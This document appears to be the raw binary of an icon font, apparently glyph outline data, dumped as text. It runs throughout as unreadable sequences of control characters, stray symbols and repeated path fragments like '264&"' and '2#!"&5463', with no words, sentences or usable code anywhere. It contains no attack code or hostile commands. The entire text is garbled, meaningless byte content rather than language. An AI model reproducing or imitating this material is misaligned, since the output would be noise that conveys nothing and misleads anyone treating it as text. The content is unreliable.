m)$* pJ	+m6+	     !  #463!2#2#!"&=463!53`@@P				x`	 		 	@@       4  72+"&54632276&"&4622+&'3533!&#5463/AA/(P88P8P	L@!`B//B 8P88P&@@ 2.       - 7 @  %#54&"#54?5#"&=46;546;232+46?#"&5%+5`%6%`p0		0	 	0		0mp	m	p	`%%`	D3	 	0		0	 	3	/	d	      	   ( 0 8  5 7"&5 "&46232>7"&5%567$2"&4&'67==qqqqq h:&H>qq?!#ppp0n37++++&&@&4&&44&&)?+	/B//B	"%+         2"&44635"264&"62"&4ΑΑX^BOqP88P8SΑgB^ qO`8P88PH    ) 1  2/"#"+/#&54754632264&" (8`M=),'&,ayt/!'J%PAepxhx=	%!/ H       ;  !2#!"&=463 2#"'!'#"&4626?&5462?&54		`		(HH(HR(RH	 		 	@((

++

       ( 0 8 @ H P  2+"&=7>'264&"'"/&4?62264&"264&"6264&"6264&"264&"P	
(( .1((rr       ' / 7  2#!"&5463264&"6264&"264&"264&"6264&"%%%%3ss%%%@%ss        ' /  2#!"&5463264&"6264&"264&"6264&"%%%%3%%%@%          2#!"&5463264&"%%%%%%%@%         ' / 7 ?  2#!"&5463264&"6264&"6264&"264&"6264&"6264&"%%%%3%%%@%MMMM          '  2#!"&5463264&"264&"264&"%%%%3ss%%%@%ss          2#!"&5463264&"264&"%%%%3%%%@%        62"&46"&4622#!"&=4636%%6%[6%%6%`%6%%6%6%%6U       !  !2#!"&=46;463!2&264&"p				p m	 		 	s      " *  !2+#5326!"&=46;467264&"p		`p		P
	 	@!	 	m       0P    %2#!"&=463%2#!"&=463          "  33&'"&476&&67>7>'
!b'bGE:B)!.,_Q'g9,'1B5t*"-,!   @ 9 A  32+'6.'&"?632#!"&54>7>2264&":)b6	Zw	F# #& #O	&5HX0,:,S_#Vi	~,
	B0	%1]L<%%%C      @ D  !2#!"&=463'.=4&+!46;23226=.='&4?625#P				/!%&&$4&	 		 	U +,p`&&4$ 

>&    @ C P ]  %+"&/#+"&=4?>/&6323632'&'&&/&6?67&#";26%5&#";26>C0%.B$B.%0C-
C$'));7J7;))'$C
##%$%6$%##%F/C=,'',=C/F&%		%&)%%)       %&/&6?'.?>n		"		ff	        (  .?>&/&6?2#!"&=4637
.

p

TxxD
0

0
   & , >  %"/&6;235#"&=463!2+2#'3.#!"&=463!260
V 	(+а				]}#4!#		F@s@l:@	 		 	@]|4#	 	        `   )  2#"'#"&4632627&#"!2>54&#"FccFQFFQFccFQFF////!+L+///`^^OO^^OO@@&
&@@    @ 4 @ D  %"#"/#"+"&=#"'+"&=.54>76;2264&#"5@
JLL				,4$0	TFCP
.Ew
	h1	;		16		JY4)D&
0.=K	
c	      %'%&=467%6m	3	Z	"		f       &  7&=47%6'2#!"&=4637.D

p

xDDB
0

0
             $ H  !5>4&'5463!25#35#35#5!#54&"#54&"#54&"#54&"@`@@@`@								=	cc#``







  5 U  '&?65462#";#";#36=46;22+"&=46;5.=7z	
	
8P8UUUUU),		L				8AW4
<)2

	
	-(88(   0		0*&				"	iD)(9'"        & , 4 : @  #"'&#"#"'&54632326322>7&.#6264&"575&'m	+1>>?5+1>>?$"%B//B/` 	>=>d=$8P88PT:1
#       &  #"'&#"#"'&5463232632 264&"m	+1>>?5+1>>?B//B/	>=>8P88P       	  % 1 = G  1!#!"&%;26=4&+";2=4+"%3!2=4#!";2=4+"2!5463	`		`	pp00		@ 		 		Xh@	00	        K W c o  2#!"&54632>54&/&546;2?6'&'54+"+"'&;25754+";2754+";2=4#!"3!2`	-	-	ppPP	

 h    3  %#32+/&?#"&=46;7#"&=463!7632bKS	
37KR

4` j		C ` j		C         % - 5  6+".7>264&"6264&"6264&"264&"PU&P&(/hP)n/3=N&@";*P}CJmm-S     " *  2#!"&5463264&+";26=72+5(88(`		 	00`8P8			0@        "&462"&467"/&4762%6%%6%%%6%%F







%%%6%%%6%%6%







     $ 4  %2+"&=4633#"'#"&=46;2%2+"&=463@@$I`  @0p     % 1 = I  6/"/"/&54676276254+";2=4+";2=4+";2f&6
66
6&&6
66
6	
 
	------	

	-----hh       	 ! % - 1 5 = G  546;#"&52#!"&546;54625#6264&"5#35#6264&"72+5  !/&&/!p`@""@@""  /!&&!/@@  x""    x""1  7  &/&6??6/7?6/7?6/7?6/7?6/76|PE<<87<<77<;E'ef/0ff/0ff'       # G  7&546;2#";#";#"32#!"'73;2=3;2=3;2=`88888x@)@@) @@@`888888       @@@ 7  2#!"&=46;;2=3;2=3;2=3;2=3;2=  0@@@@@XXXXXXXXXX       /  73+"&546;2#";#";#";#"XXXXXXXX @@@@@    	  / 7 A  546;#"&52+"=4;27#54&+"#4?62264&"%2+@P	h0	`	3B//B/p	P	@@(@
		u
k/B//B	@     	   #.'7562"/&47@`>SS>+u5@SS>+>u5      ! 4  "&46;46;#"%2'&/52>76#"'.#57676%% %  ,IfHM-4#-:+0MH2N/80+:-#3 %6%6%2.&B
	 B&, 	     * 2 :  2+54+"#54+"#"&?6'.54264&"264&"Ԗ*	N@N		,24&&4&4&&4&]"A6B8888B Z4]&4&&4&&4&&4      	    / J  7546;#"&2"&427735654&#"32+'2+"'.#".'46;2`	`v	6ԖԖ =2$q| 3$qO=2|		#,#@	`	7Ԗ$2=Oq  o2=Oq$|	@	 t  3  #"'"'"'#"'.?63!22767#!".=327!5Z&/,XX-/&A					@					I(Z!!!!!!Z(h		dd    %  %53#!"&53%#!"&?63!23+"&@@ @
U		%@	 	@  ""		         /  "&=463!2#2#!"&=4632#!"&=463				@		`		`		`		@	@		@	P	@		@		@		@	              7'7'772"&464/76/&'7?6/76/&'&'76/&'&'76/&'&?'&?'&??6/7??6/7??6/76/&'77'7----------jԖԖ.""--"!-.""--"!-------D------qԖԒ-"!-.""--"!-.""-3---     + / M  %#54&+"#54&+"#54?6;546;232'5#53#!"&=3;26=3;26		 		 		.	33	@	 		 		S				S	.	PP		@@``				  %  /&#!"&=4&&/&6?267w99 99?L?`r				r`      C  : I  "&462/&/&/&/&?.?67>327"&4?6((.		-<"	#8	(	;
	2
`((E2YJB"<	 	*"4
,"	<	
2	      $  2#!"&5463!2#!"3264&"s%%p			C@ %@%			      $ 6 O  2"&42654':12764./&>'&"67627>'.3232654'ΑΑP
b FbP
ΑW
	&&	      @ " 2  !2+"&=4&"+"&=46;!2#!"&=4630			8P8			 					 		(88(		 	`	 		 	 	    	    # : B J  %6?#&''#>#6&'37.'#!"&5463!2"2645!"3>-''-V
."'--'L


)77)FjKKjK 1) )#*)11))*#	4
	7)@)7&KjKKj@    , x   7327/"&?#'&/32767672>367'&"&'.'&'.'&764'&7>76767676276&2654.#"a4%4	
.	!
	4%4	J
		
	

	

7N7+'U
&p
Y&



	
	

	P88(,       -  2#!"/&4?63'76/&'&??6@%%		>>>>>>>>% %

>>>>>>>>       ' 7 M ]  2+"&=463#>7##"&46322+"&=4632#"&'##&'6=3>2+"&=463p`@629*P
%% %` %% P*926U ```8H'?0O	
%6%``%6%O0?'H``    1 ;  #"'&54675#"&=46;2+7'&?6/'!&/5#.&4,				'	4	+% %`@!,34Y	 
	 
'	4	+.53,!''       	  #  2!54635!+"&=#"&"264` %@%6%@%  %@%%@%M      4 @ H R \ d  2+++"&=#+"&="&=#"&=46;5462%;2=4+"264&"75#";26=4&+264&"

  

=ppps@
P
    
P
0".."08]``     [  %#"##"'&'+"=#"'&767"#"'&4767.'4546320454>762>7632		<I		%((%		I<		 ,+	"S!!	!S"+-X	@@		!V#

)5p(.0F!)
	#V!	       '  "/&4?62762'&?62762"(op-7-(pp-7-    @  -  2+"546;5'&63!22#"'73264&#"#>(8n<TT<(#$(88(,4J}}TxT$	8P8+5        )  !4675#"&=46;2+2#!"&=463 Rn@nR		`				 		=~TT~					 		 	   % - 5 =  %/././&54?>?6264&"6264&"264&"$
E'*M+7$!E'*M*73*'E
$7+L
E"$7+     # + 3 ;  %/././&54?>?63264&"6264&"264&"#
E'*M+7$!E&*J5J3*&E
$7+L
E"$4J5Jq         1  %2++"&5#5323#"&5#"&=46;546;2

(
0
(

(
0
`
0
(

H` H` 
0
(
      `   ' 3 ? K [ g  2#!"&546354+";2';2=4+";2=4+";2=4+";2=4+"754&+";2654+";2`@@@(				`   H00		0		y     ! ) A  2"&4>/7>.'&7264&"7'76.'&?>ΑΑ
c4&&4&Α>
&4&&4       @ H  %/67#"'".5'7&'&6?67&5462'0"0"132676&"264767,RL\142G6G!	D8P84#03C#"9dh`:_~)= {:|"v(88(Y$Xt7/        3 N  54&"54&"&'54&"&=4>3276322654.'#"/&54?&#"QH4<<4H0>R-97n		Vz'v		IVz8_F9. f

wh

hw

f .-
G	%
M/&    @     * 6  2"&=46/627.#"75&"26>54&'8DF;<<"} @ &4&/&:!D8K55KK55S,
&&
&&m&
,      !  33#"&476&67> 	-jQe:K? 92D[OV,}n5119."3W8.        ) T ]  ;#!"&546;;2=4+";2=4+""'.'&"+";26?212?62;264&##532



ȠPPPP	+"		
/		I
8



HH 	)6		2
			
        ' 0  ;#!"&546;6&+54&+"#"27#532



LA	 	A`
8



P		P`R
   G   3  #532&=#53546;#!"&546;;#"
b`@@	



	Fb`A@A|	



	       	  3  73#"&=46%#532;#!"&=3?6/&#46;pp		
7


``
Ƞ@	 	



A``A
          * 6 B R  %#5%#532;#!"&546;;2=4+";2=4+"54+";254&+";265 
7



ȠPPPP PP				@@




HH		`		        & 2 m  #532;#!"&546;;2=4+";2=4+">54./&546;2?6'&'54+"+"'&;25y
7



ȠPPPP	-	-	W




HX


        ; C L  ;#!"&546;&'654&+";26=3??6/76/#5327#532



E!!%P			;00		ɀ
b8



!&%			0;7 		b    A 7 @ E O  7;#!"&546;;&'.'&"+";26??62#5327#%'762



	+"		
b`DED(



/R	)6		2

(bDD        ' 0  ;#!"&546;26/&";;26=7#532



A``A	 	
8



``P		P
      &  %"/&4?'&?67627'"/		Pu_VVR		[1;;		;Q		uP_VVR		0;;		;R      @ 
 " 1  %"&546?"/&4?'&?67627'"/ @%6% 		Pu_VVR		[1;;		;Q]#%%@		uP_VVR		0;;		;R    - A \ n   62#"&76'47'.76'4&'".76'&6&'.76'&767'.76'.'".676#"&54'&676'&'.#&#0#"&=&762+>		";I		
(Lm
Q9		



'"&(X<9
GKl>60
rn	ik
`<*MK	
GH  ML	
FI)<#.><	
79?1:kJ55
897O
z,
	'
V		<9R
fHJ*     @`  $  2#"&'&?'&6>264&#"G0a@((@a0>p&X	
W&p		`)7337)<*B
nn
B*<	
        ' /  $2"&4&2"&462"&4264&"24+"36264&"NΑΑP*<**<<**<*ΑΑ)<**<*  h*<**<         '  2"&4264&"6'.#"7626264&"ΑΑ	=("	14)Α*	"	       32+"546;5'&63!2!!88J0**0      j  2"&446;.'+";2;2/&+";232?676?6?6=4&+"/&6?63232?65ΑΑ	Y;		Z
	/ 			ΑG	:R				 		
      _ n  2"&4654/&+.#"/&54?632;26/&54?6;2?6/&?6//2?676767654'ΑΑJ		C	
	
G 	
	_Α			


		G&				 	
/d/*     8 m  2"&4762;2=4/&4?&#"32?6;26=4/&?63254/&=4+"+"/&+";237632;2?6ΑΑ	3Su>
		'
	Α_N
	&
uS-			f
	           ! % ) - 1 5 = D K  2"&45#375#"6264&"5#75#5#75#5#75#6264&"5#326=4&+ΑΑ( 5000p000p000`(Α(8(((8((8((8((8((8((h(%(       &  2"&4"264&"2642676&"'&ΑΑU`Y	//
Α6'	
'      # 2  2"&4%2767&'&"2767&'&"2676&"'&ΑΑ8+`Y	//
Α!"		!"		!"		!"	6'	
'        + 9  2"&4$"?626'&'"?626'.2676&"'&ΑΑ[&#
&	#
&	`Y	//	Α)))6'		'        - A P   "&5476227"&4632&"?626'&'"?626'.2676&"'&(**0	ΑgJ>/L&#
&	#
&	`Y	//
@77<03gΑ)!.)))6'	
'        ' :  2"&4?6&'&'&2676&"'&%>'.'.7ΑΑZFi`Y	//		ΑF6'		'	F         # 1  2"&46/764.?64/&2676&"'&ΑΑP!!!!PPX`Y	//	Α-0((	((006'		'    / < J Z  "&767622"&47667'676&&>'?6&/.?6.>'&26*)!)yG!)yG	Z

4]Z

4"k,<@PH)H)
Gy) Gy) ([
4


Z`"a$,k       . G  2"&4?6/76&/&"2676&"'&%6&/&"?6/ΑΑ_#
F`Y	//	'#
#Α	##	  6'		'	  	##    6 F V d  72"&476"'&'&61"&'?676&>32&'&&"?626'."?626'&2676&"'&f)S)
Hr ss 
_?lEK&#
&	&#
&	`Y	//	H))GR9DD9R]:e=b)))6'		'       % - K  26=676&"'&.54264&"264&":#".=6362?>ΑYH	*	//	*	HY&
gO~.$		$.~OgW@%?	       ; H U  %:#".=6362?>26=676&"'&.5464/&?'76&6%&
ΑYH	*	//	*	HYP!!!!	PPI@%?	lgO~.$		$.~OgA0((((00      % 8 @ ^   2"&4&26=676&"'&.546'.#"?62264&":#".=6362?>NΑYH	*	//	*	HY
%
&4&&4&&
gO~.$		$.~OgP						0&4&&4@%?	         " 1  <62"4&"276'.#"?62&2676."Α7
%
&	Y`Y
/YΑΑ						a	'66'
      `   / ? O _  72+"&=46;2+"&=46;2+"&=463%2+"&=46;2+"&=46;2+"&=463`@@@ @@@@@@@@@@@@@@@    @   / ? O _  2+"&=4632+"&=4632+"&=4632+"&=4632+"&=4632+"&=463`@@@@@ @@@@@@@@@@@@@@@@@@         " @  72+".=4>;2+"&=4632+"&=4&#"+"&=6%Ҕ		zV8`8		@&@ ip		pVz8`8p		pi       F  7+"&=46;2#"&=46;22+"&46;23265454&"+"&=6%%%%Ҕ5% fzz		p%0%p%0%`i%5(VzzV		i   !     77/'7'&54%'76DC#)#+3`3+ FC##*3`3++ǩ         ' ; G S _ k s  &'&'&6;2+"'&'&'&6;2+"2#!"&=46;254+";2754+";2754+";2754+";2 "&462+
+
n+
+
%%%+o```6%%6%($>($>($>($>@%%%Spppppppp@%6%%6   @ - = M ] m s    #32+54&+"#"&=46;#"&=463!2;26=4&+";26=4&+"';26=4&+"26=4&+"334&"%54&+";26=4&+";260			 					 		&&&&&&3&38P8 &&&&	 	P		P	 		 		 	-&&e&&[&&&&(88e&&e&&         7 D Q  &=4;2+"=46#"'6+"=4.'&=4;22#"./2!2+"&/<0(0$qYZ).00vYuV

v*AB>,9!,P8!W1/'%>>


p
	         - 5  2"&4264&"4'654.'&7>264&"ΑΑ##")ΑW
			      5 G  2"&465."?624'654.'&7>765.#"?62ΑΑ#&#	&h##")A#	&ΑK))
			!)        & . M a  %/&>7676#"&462&#.&264&"4'654.'&7>?626'.#"S
/4gΑT##
)
'	
.!	S	TΑg.,%#									
	         %  2"&4"264&"2642676&#!"3ΑΑU87Q

Q7ΑH66H      . <  2"&4?626'.#"?626'.#"6&#!";26ΑΑ
&	#
&	

Q77QΑ6)!!w6HH      # 1  2"&46/764.?64/&6&#!";26ΑΑP!!!!PP

Q77QΑ0((	((006HH         ! /  2"&4?626'.#"&"2646&#!";26ΑΑ
&	%Z

Q77QΑ5						
6HH       	  A L P  7"&=46;%+5322+"&547#"&547#"&5#"&=46;2#46;25# @  0		S((S	0		`	``0`  	 		p	 		 000   @   # /  2"'&547.=462767'5%6hJrrw,!!/	
J4>>40?	(%@%(
8       @   ! + 7  2"'&54264&"7.=462767'5%6hJrrm""w,!!/	
J4>>4^""I0?	(%@%(
8        ?&7> '7'/&?6276^KK"r/75bWi!%KK"7/rD5KbWh$   	   4  '&6;2%2&'7632"&46&/&"?6/?/o	
o
U
	o/?E
ʒggg44&	//	=
++
sggg6//%4		4          2"&4264&"264&"ΑΑΑW       ! 3  2"&42654'"&54724+"362654'"&547ΑΑX&4&""4&""ΑG&&&  p&&&       *  !2#!"&=463!6?654&+";26p				 MM0FF	 		 	[;LL&&      	 +  #76322++"&767.5#"&=463d				C6

6C		c$	 	<a  a<	 	        0  #!"&=463!22+2+"&=463546;265` %8(@%@` %@(8  % 	    	    - 9 A F  673&.'3'>76732#!"&5463264&+"36264&"7#&-''-V.
'j%%				;jKKjK-'1) )**h*#f)1@%%`				`KjKKj1)        ?'73264&"'766'OTc!]];1#]$b!cT;]]'T(b        &  7'73264&"'>%'762+
(]
o99(5+](
		B(99      $ 6  7'&4?622?'762'&?%"/7?md		Z		">>,.q.(-qk		Z		d,>>d		Z		">>,.q.-(qk		Z		e,>>        .  !2#!"&=4637&=46'46'%&'p				'f0A	db+(&+	 		 	e		C	1N
     1  !2#!"&=4637'&6?627'&6?63276+"p				AM(HhAc++.,	 		 	kS$4b!R21'$     * 2  %//&?'#+"&546;276%3264&#-NNNN	 		(80$TN``NNNNP		 	8($6TN@        . 6 J  254&""'54&".546'.#"?62264&"76'.#"?62ΑA7		.d.		7A

%
&9((
%
&	gBq!				!qBgG						&4&&4							       # .  2"&4"2642654'&"6264&">'&#"32ΑΑU(**3-F7Α776        ! ) - 5 9  %+"&5#"&5#"&5463!235#264&"75#264&"'3'#u 8P88P8 R``L((`((0PBo(88((88( `((``((`     =  2##"'&7#"&?6&&/&?6>76327>o
)"(
C#+M
b:7:&*KJ6
E= 	 8=	'	%#3hG6!'        ' 9  2"&4?626'.#"6&"'&276'.#"?62ΑΑp
&	#

#n#

-3#	&ΑF)**6!)       ( , 0 4 8 < @  !2+"&=4>;53#!"&54>3!23'7#?#3'#73'3'#			07		7	

j
`
gFrj	 
	   		B1`` pp``p`` p    A  ,  2"'.543267>&'&'6768'SS''?D++D?'!FG" %;?QQ?;%$'88'$oo==o  "  %/&&?6/&6?6%">H6 F&3&)'H!.L	C>"(	4949/!= 	    	  ! ) 1 9 A I Q  #546;22"&42#!"&=463264&" "&4622"&4&2"&462"&42"&4@(8 8(B//B/Mss``m8((8 /B//B3s       *  5!2#!"&=46;26=4'&5463 @(8@8(C	D-+@@@ 8(  (8(2,:+ *$
    '  #"/#"&?'&6?627//jjA	(	ARr3f&gDDg&Qg6r       # / ; I  2++"&=#+"&=#"&=46354+";2=4+";2'#546;2#5P	 		 	0`0 				hPPPP         2"&4264&"264&"6264&"ΑΑC4&&4&Α*&4&&4        
  % - 1 5  73622#!>?"&546;2264&"75#75#		K		8P8j8@@@		L		 (88([@@@@        h  T \  7&'76?6/&"'&+""2+"'"'"'+"&=46;276;2276;2276;23$"&462	DP(1d"dq
0

0		:&&t&&t&&:		%JJ%1B//B/b9
"&P			 	 	      	 	`/B//B    4 j  %2+"'"'"'+"&=46;276;2276;2276;23%"'&'5462+"&=4&"35462+"&=4&"#5#p		:&&t&&t&&:		%JJ%
8P8	 	8P8	 	
 	 	      	 	 	(88(		``(88(			`        '&?66762%47#"&z	
	
(-6,!2BIg

	
	>@4_6I&(&-h      # 2  2"&46/764.?64/&"7626'&ΑΑP!!!!PPRM	))Α-0((	((00>-
-    3  #"./.""&/&'&'&7>76676/676%
	""%2" #d	
0)"2`>1(CS9"

"9SC(2="3	@#3    	   1  .7>>327/6'&2#!"&=46;7s-G'I!`+
.#:?f				I<A78;Z=L_[,H	%]J	 		 	       / 3 7 ; ? W  #2+"&5#+"&=4635"&=46;2346;235!355#!5#=#"&=#+3235463 `````       @```         `        $  %#!"&7>;&5463232&264&"`I<8(,<	))$(8,    %  "  2+"546;5.?4>;23'(4@	@4ruW77WuPP  / 7 ;  %+32#!"&=46;5#"&?#"&?&5462+&"264#3{	p				p	^1
r(r
1V			`
 	`		`	 
a	~~				y     " 5  #"'&"#"'&'&767676676'#'&7676763_'$+A A+$'*$$*?#/++G0:

:0G++/#

%$ 	   ( / 6 B J V ^  %'"''&7&766267&'&'767*#">"6727&'76'&'66''6'&#"#"#2"&47W$|$W77W$|$Wk%, 2 `!!!!%K54
VV
45KK54
VV
45	
##
%%x####(#
	#	        ` O  %#"&'4.#!"#"&=46764'.=46323!2>5>32W,'
',,
	',
$,
,$

$,,$       +   "&462'&'.=46%2.=476`8P88P>F|<|E
DP88P8#")   @ % K  2#"&'#"&547.547&5467&5463021>#"'#"&546320212&*&*(&"*&*&"&(&**	(.(	&(	**x%&	(         + 5 H Y  %+"&=!+"&=&=46?>;2%!'.+":>54&#"!264&#":    "9 9"N	!06  60!2
& 222!	       # / K  2#!"&546;546;23546;254+";2%54+54+"#";;2=32@ 	`		`	 pp ((((@  0		00		0((((  * f z    7&?6/.?6/&6?>?6/.?'/&'&?&'&?676?676767676%&>76&'&'&/&#"&>76#
NA	2M
+= %		
 {}
	
	{	 l)
.M
+=
NA	28+$/4C4.+!	5d
	)6!+.O
       $ , 0 4 <  2+"&5#"&5#"&=46?>;2264&"75#;'#264&" (8	08P88P80	0!m|((xM&MY(( 8(P	(88((88(	p"z
((```((    @  Q h  !2#!"&=46332'.=4&+!46;2327>=.=46;5462354626&+76&+";327P					2"'%%$4
			 		:D;	 		 	@	 *x!..p`%%4$v* 	0		00		`3	kS      '  %"/&4?626/&#";2=37		

		

{U
p `


		

		N6P@6      ' 8 @ H P X `  %2#"'##"&5475&546323632#0#23'"1"&46;7#264&"64&"2$"264264&"264&"%%%%%  %%%%%''&%%&			w						 			@			`%6%  %%%%  %6%A A	@%6%@b						 						 			         7 A E  %'&?67&?'&?6'2#!"&=46;;267!463!2! ::$$U$$::	& &	= @;;$$$$;;	&&	pP        0  &4?62'%/&4?2?/&4?2? ;::,jjjjjIIjjII       ! ; G  7"&=463546;22++"&=2#!"&5463!264&#52%"=4;2#	@		(	$	 	5KK5Oq1						KjK@qOI7         ` 2 6 A  6#!"&='.=4>3235#"&=46;2+325'46?"&v	F		88				8920
+$ 
/_	0				0A?>]
+>     0  %#!"&5467&546;&546;2654'6323232#**#*%!/
(8%*O(**(#*%/!8(%*#         #  %+"&=46;2$2"&4%#"&?62 KjKKjK߾	_
&
_	3KjKKjk     7  %/+"&=&/&6?'.?>546;276 	@	  	@ r8O		O8NN8O	O8N 	     + 9 G U c q   2#!"&546354&+"26=4&";2654&+"26=4&";2654&+"26=4&";2654&+"26=4&";26 (88(@(88(@	@	((	@		P	!.!!.!	P		P	!.!!.!	P		@	((	@	8((88(@(8@		@@@		q8		8!!X!!X		q8		8!!X!!X		y@		@@@		    
     + 9 G W e s    2#!"&=46354&";26754&";26754&";26754&";262#!"&=46354&+"26754&+"26754&+"26754&+"26 (8% %8(@(	@	!.!	P	!.!	P	(	@	%8(@(8%`	@	(	P	!.!	P	!.!	@	(8(@%%@(8  		8!!8		8!!8		  		% (88( %P 		 		!!		!! 		       ( 6 H T \ j  7&>#"./&67632*#"0&'&567%.?>766676.67&'7676.'&6 ]F&#YJ gu$$ dY, SaAO6 , SF
.",+-2# $D&'
91+
	)H!A`)	,'*(O	     . 6 > F  3"&'.535.535.53546;23264&"6264&"6264&"@	F\F	%@$@$@@(((((( &%,99,	2 &
1&
1  %&((d((d((      1 5      %2+.#"#."#"&=46;546;546;232%3'#2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"'2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"p		'0&CBCLC			qSJ3Q0	
	 	
		
	 	
((	
	 	
		
	 	
((	 	"""	 	P	`
h@`@ 	
		
	 	
		
P((4	 
		
	 	
		
P((     7 ; C K  %2+"&547#"&547#"&=46;546;546;232%3'264&"264&"p		2B\BDB\B2		qm0M((<((	 	.BB..BB.	 	@
@``((((           
  3 K  ?62"&472#!"&546326/.+";2?33754&+"&#"327;26`	6	6	F		**	55 			$*<*	    @ # /  %2++"&=#"&=46;&5462&">54(

`
 
`

-%JlJ%E,
 



 
;5AOOA5;"9!(       : B  %#!"&5463!2;;26=326=4&+54&+"#"5!"3

)77)F	0	 	0		0	 	0	Z	4
	7)@)7v 	p		p	 	0		0	@       / 3 B  $2"&454+54+";2'"!546;546;232&'5#!"&=33xTTxT
&


<
@7.uPP		TxTTxB
6

L
 P001`  *&0	       - 9 E Q ] i u       2#!"&546;546;23546;23546;254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2h

(		@		@

(((((((((((((((((((((( 
h
P		PP		PH

((l((l((((l((l((T((l((l((((l((        T  2#"'#"547>7&54>'./&54;2?6&'&'54&+"+"'&;265Ԗj83AL92	 		2	 		zz329JV%						   B  O g   #"'#"54767&5462;2=>54./&54>;2?6'&'54+"+"'&#"'#"&'32654'zV<3+.&zf-	-	Z.+3<@hc9HB^)3B^ 	


6,qO

P23      #  2++"&=#"&=46;546;2``@``@@@@``    
   W ] c i o u }     %2#'"/+"&57&'"/&4?&'"&=46367'&4?6267'46;2762'7&'67#677&'7&'6264&"67'367'?&'

$/;		;/$

$/;		;/$+Y%+l@	L1	C+2:%+l@	@1			;/$

$/;		;/$

$/;@	11	%L%+@	1w1	%H%+       - T  7"&=46;2#546;2+"&2?#!"&=%5!'54767546;>3232								F4```NN				P				r՗
FF

,		,        !  2#!"&546;54&+";26`@`				@ @				         5  2#!"&546;54&+54&+"#";;26=326`@`	H		H		H		H	@ @	H		H		H		H	     Z  /&='&63!22"&4>54&/&546;2?6'&'54+""+"'&;25?R;#Py^^^-		-	gCQ9	<''^^^
	
        e o y  %2+5#5#5#33#54&+"#53535####"&=46;546;546;54623546235462354623232'354&+"54&+"		P     P	@	P     P						@		@		@				0		8	 	`		``P		P``		p	P	p								p	P	p00		@		@     1 ? G  %"/&5476;5462;2=462;2=4623226?."62"&4	f88f	@ 

 

 @00200=	n<<n	



Ѐ $ <   2 D  %/#"/#"&57"#"&?'&6?'&676276'7'7''77'bK	lDDl
Kbn*^""^*/$/5--5/$4!!5S
qYYq
S5h<kk<h}(2332(6**6      g  %3#"#.'3'&'473'676327&?'&4?'&64276/>76&'&67654'&6323(!QM(;/)V

:)-
**

**%5:

U)/`HXWE;)f<G+%74#A	!		!	 	!		!A5% >+G=f)          %#!"&5463!20#"/267#"'&54?<14'"'&?&''3276/764/7454&#"#'4"'&32?.547&547"'5!"3

)77)F%	=N=	% 
		
 Z	4
	7)@)7v &11&  #	
po	! @      A    . = K Y  %&546?626"/.=54&?6754&3766=4/&'6=4/&*	 ,

PP``PP``l1PP1
OmR66"-$  n v ~  /612#".5'"&5475#"&46307'/&'&6765'&?.5467'&?7>54'&54764'6'76/82
5P/
))	

/P8
/<		&!M,;;,L"&	U~s?'$=
*!
			!*
AE 	

(/(F6$	33	55	33	$6F(/(	t &&""&&         ' 7  #!"&=4?62335335332!546;2#!"&=463
	 	
@`@`@	@			 		d%		%Z	00	`	 		 	   @  ' 9 = L  :767#!"&=72"#".'.'5463%2+5.+54635#%#5463!2#"*+ @ @ ,)"	), $` @`@& 00!	"`! @@` `&    	   ' 2 = H S ^ i t   2#546;2#546;2#546;2#54636"&546?"&546?"&546?"&546?"&546?"&546?"&546?546;2+32#!"&=46;5#"&=46;2;546;2326	@		@		@		@	} s s s s s s  	 	8(		`		(8	 		 	@								  . . . . . . .Ӑ		(8@	 		 	@8(				     	  C P  3+"&%!&5476?2+54&"#54&/#54&"#"&=463#5467@CXE++EX @@   @C8+5

5+8C<@@H$
&H@@@!  0
       h   '&4?6"2#".5'546326=4&"+#".5463264&+&/&6;264&#"/&47632?6#".'&66iR;;%'
#/
)K5*A$!1 &&!			 

(8%	/
q%&'5;)d$4&+	d
!5K01&4& (&
$'$
	
$	       $&#".'&'32#".'"'#"&463267&'#"'&&'&4>7>6767&'#".'&#"&463232>7'.5462627&5462327>32#"#"'7>"264$"264g
!	 

((

 	!



*#%6%:%6%#*


						h	#8-%%-8#	
!4"%%%%%%%%"4!'							            2"&44&'657677ΑΑWAY&s3&+E(ΑgCgg)rG"ir	"?3N,/)g     	  /  %+54>?#"&5%#54&"#54?54?6m	p 	mp	`%6%`0	LL	Q	d	L	/		`%%`	s	KK	s       / ?  2#!"&546354&+";26754&+";26754&+";26p	 		 	`	 		 	`	 		 	`								@		@		        / ?  %#!"&5463!2326=4&+"326=4&+"326=4&+"`								@		@		`p	 		 	`	 		 	`	 		 	        (   "&462'+"&46;'.?67676&6%%6%_#n\- 1&(':!X!@%6%%6An1"#G!\!./
!H
     ) R   2#"&=46?54?03>26=4#"/.=46226=4/&67621/&	Zu
M		z&/		M
u '?
/`
QM		P`/
?'P		M
Q       1 N V  %#!"&5463!2"3237232/76&#/&"'"327654#0"#"&463:1324#&5!"3

)77)F;/DD/'88'uZ	4
	7)@)7xCC`C8N8@      $ _  %"/&=#"&462322654.#"7+"=&'&?6;2654/.54>354;2'&+"d8HVzzz,
xT'B'<T	-	d
,zzzVH8	T<'C&TxE

        $ 0 ;  %"/&=#"&462322654.#"62"'&54264&"d8HVzzz,
xT'B'<Tq>+CCJ
d
,zzzVH8	T<'C&Tx+$OO$5
        % 5  7#"&'&6?535#546;272#546353#"&'&67( .W s -^)!HA    =W!H      G  ;  %//&?'&?67672+#"/#"&=46;2>3;........

b X,

Q
:U........
0

0
jC       9  2#"&4632#0&#"3267#"/#"&?'&6?62T	+.jj.,W||W7DD7L""	Ԗ||6L$$L6EE        & ) , / 2 5  %+"/#"&?'&6;76232#'#3373'7#73'5k8*8k55k8*8kB( 5p55p8.((.(Y$^^$YY$^^$!7XXX&8!!!&8!     	  ' E  762#547!#762'#54&#4?6'76&+'&"#";2?326F&r&`-`H''''+

+f
`'&]z
f((((          F R U X ^  %'37'$2"&54737!;32?327654/7654&+'&#1"#"$2"&54#''73@$Q((|	<<	<<s(($,B!!B!!R@`111

1111

1@o8888     7 ; ?  267+32++"&=!+"&=#"&=46;5#"&=3355#xP 0		0	 	 	 	0		0 P```@	 						 	@``@@@@@    @ D H  %+"&=#+"&=#+"&='&'&?5'&4?5'&6?%35!5!y7	 		 		 	7Y7		ww		7 @/
0		00		00		0
1@2@VV@2@@@@      -  6/#"&=46;//&?'&?676Yf

fP-..--..yY

`.--..--        %  2"&4264&"&264&#"3"&462"&4ΑΑP88(PppP(8SΑm8P8pp8P  @  4 D L  ";#";#";!!&'.7>/762#!"&=463264&"rip'
